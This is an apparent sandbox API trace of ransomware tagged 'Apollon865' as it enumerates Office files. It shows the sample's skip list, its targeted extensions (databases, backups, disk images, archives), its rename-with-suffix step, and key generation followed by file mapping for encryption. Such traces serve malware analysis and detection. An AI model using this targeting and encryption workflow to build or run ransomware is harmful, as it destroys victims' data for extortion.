	[0069.903] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.903] lstrlenW (lpString="vhd") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.903] lstrlenW (lpString="vhdx") returned 4
	[0069.904] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.904] lstrlenW (lpString="avhd") returned 4
	[0069.904] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.904] lstrlenW (lpString="db") returned 2
	[0069.904] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.904] lstrlenW (lpString="db2") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.904] lstrlenW (lpString="db3") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.904] lstrlenW (lpString="dbf") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.904] lstrlenW (lpString="mdf") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.904] lstrlenW (lpString="mdb") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.904] lstrlenW (lpString="sql") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.904] lstrlenW (lpString="sqlite") returned 6
	[0069.904] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.904] lstrlenW (lpString="sqlite3") returned 7
	[0069.904] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.904] lstrlenW (lpString="sqlitedb") returned 8
	[0069.904] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.904] lstrlenW (lpString="xml") returned 3
	[0069.904] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.904] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Apollon865") returned 88
	[0069.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.906] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0069.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.906] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.907] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.907] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.907] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.908] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.909] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.910] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.910] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.910] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.910] CloseHandle (hObject=0x118) returned 1
	[0069.910] CloseHandle (hObject=0xc0) returned 1
	[0069.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.911] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="..") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="windows") returned -1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="bootmgr") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="temp") returned -1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="pagefile.sys") returned -1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="boot") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="ids.txt") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="perflogs") returned -1
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="MSBuild") returned 1
	[0069.911] lstrlenW (lpString="PACBELL.NET.XML") returned 15
	[0069.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML") returned 77
	[0069.911] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PACBELL.NET.XML" | out: lpString1="PACBELL.NET.XML") returned="PACBELL.NET.XML"
	[0069.911] lstrlenW (lpString="PACBELL.NET.XML") returned 15
	[0069.911] lstrlenW (lpString="Apollon865") returned 10
	[0069.911] lstrcmpiW (lpString1="LL.NET.XML", lpString2="Apollon865") returned 1
	[0069.911] lstrlenW (lpString=".dll") returned 4
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".dll") returned 1
	[0069.911] lstrlenW (lpString=".lnk") returned 4
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".lnk") returned 1
	[0069.911] lstrlenW (lpString=".ini") returned 4
	[0069.911] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".ini") returned 1
	[0069.912] lstrlenW (lpString=".sys") returned 4
	[0069.912] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".sys") returned 1
	[0069.912] lstrlenW (lpString="PACBELL.NET.XML") returned 15
	[0069.912] lstrlenW (lpString="bak") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.912] lstrlenW (lpString="ba_") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.912] lstrlenW (lpString="dbb") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.912] lstrlenW (lpString="vmdk") returned 4
	[0069.912] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.912] lstrlenW (lpString="rar") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.912] lstrlenW (lpString="zip") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.912] lstrlenW (lpString="tgz") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.912] lstrlenW (lpString="vbox") returned 4
	[0069.912] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.912] lstrlenW (lpString="vdi") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.912] lstrlenW (lpString="vhd") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.912] lstrlenW (lpString="vhdx") returned 4
	[0069.912] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.912] lstrlenW (lpString="avhd") returned 4
	[0069.912] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.912] lstrlenW (lpString="db") returned 2
	[0069.912] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.912] lstrlenW (lpString="db2") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.912] lstrlenW (lpString="db3") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.912] lstrlenW (lpString="dbf") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.912] lstrlenW (lpString="mdf") returned 3
	[0069.912] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.912] lstrlenW (lpString="mdb") returned 3
	[0069.913] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.913] lstrlenW (lpString="sql") returned 3
	[0069.913] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.913] lstrlenW (lpString="sqlite") returned 6
	[0069.913] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.913] lstrlenW (lpString="sqlite3") returned 7
	[0069.913] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.913] lstrlenW (lpString="sqlitedb") returned 8
	[0069.913] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.913] lstrlenW (lpString="xml") returned 3
	[0069.913] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.913] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Apollon865") returned 89
	[0069.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.916] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0069.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.917] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.917] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.918] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.918] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.920] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.920] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.921] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.921] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.922] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.922] CloseHandle (hObject=0x118) returned 1
	[0069.922] CloseHandle (hObject=0xc0) returned 1
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.922] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="PRODIG~1.XML")) returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2=".") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="..") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="windows") returned -1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="bootmgr") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="temp") returned -1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="pagefile.sys") returned 1
	[0069.922] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="boot") returned 1
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="ids.txt") returned 1
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="perflogs") returned 1
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2="MSBuild") returned 1
	[0069.923] lstrlenW (lpString="PRODIGY.NET.XML") returned 15
	[0069.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML") returned 78
	[0069.923] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PRODIGY.NET.XML" | out: lpString1="PRODIGY.NET.XML") returned="PRODIGY.NET.XML"
	[0069.923] lstrlenW (lpString="PRODIGY.NET.XML") returned 15
	[0069.923] lstrlenW (lpString="Apollon865") returned 10
	[0069.923] lstrcmpiW (lpString1="GY.NET.XML", lpString2="Apollon865") returned 1
	[0069.923] lstrlenW (lpString=".dll") returned 4
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2=".dll") returned 1
	[0069.923] lstrlenW (lpString=".lnk") returned 4
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2=".lnk") returned 1
	[0069.923] lstrlenW (lpString=".ini") returned 4
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2=".ini") returned 1
	[0069.923] lstrlenW (lpString=".sys") returned 4
	[0069.923] lstrcmpiW (lpString1="PRODIGY.NET.XML", lpString2=".sys") returned 1
	[0069.923] lstrlenW (lpString="PRODIGY.NET.XML") returned 15
	[0069.923] lstrlenW (lpString="bak") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.923] lstrlenW (lpString="ba_") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.923] lstrlenW (lpString="dbb") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.923] lstrlenW (lpString="vmdk") returned 4
	[0069.923] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.923] lstrlenW (lpString="rar") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.923] lstrlenW (lpString="zip") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.923] lstrlenW (lpString="tgz") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.923] lstrlenW (lpString="vbox") returned 4
	[0069.923] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.923] lstrlenW (lpString="vdi") returned 3
	[0069.923] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.923] lstrlenW (lpString="vhd") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.924] lstrlenW (lpString="vhdx") returned 4
	[0069.924] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.924] lstrlenW (lpString="avhd") returned 4
	[0069.924] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.924] lstrlenW (lpString="db") returned 2
	[0069.924] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.924] lstrlenW (lpString="db2") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.924] lstrlenW (lpString="db3") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.924] lstrlenW (lpString="dbf") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.924] lstrlenW (lpString="mdf") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.924] lstrlenW (lpString="mdb") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.924] lstrlenW (lpString="sql") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.924] lstrlenW (lpString="sqlite") returned 6
	[0069.924] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.924] lstrlenW (lpString="sqlite3") returned 7
	[0069.924] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.924] lstrlenW (lpString="sqlitedb") returned 8
	[0069.924] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.924] lstrlenW (lpString="xml") returned 3
	[0069.924] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.924] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.Apollon865") returned 89
	[0069.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.925] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0069.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.926] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.926] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.926] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.926] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.928] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.929] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.929] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.929] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.930] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.930] CloseHandle (hObject=0x118) returned 1
	[0069.930] CloseHandle (hObject=0xc0) returned 1
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.930] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="ROGERS~1.XML")) returned 1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2=".") returned 1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="..") returned 1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="windows") returned -1
	[0069.930] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="bootmgr") returned 1
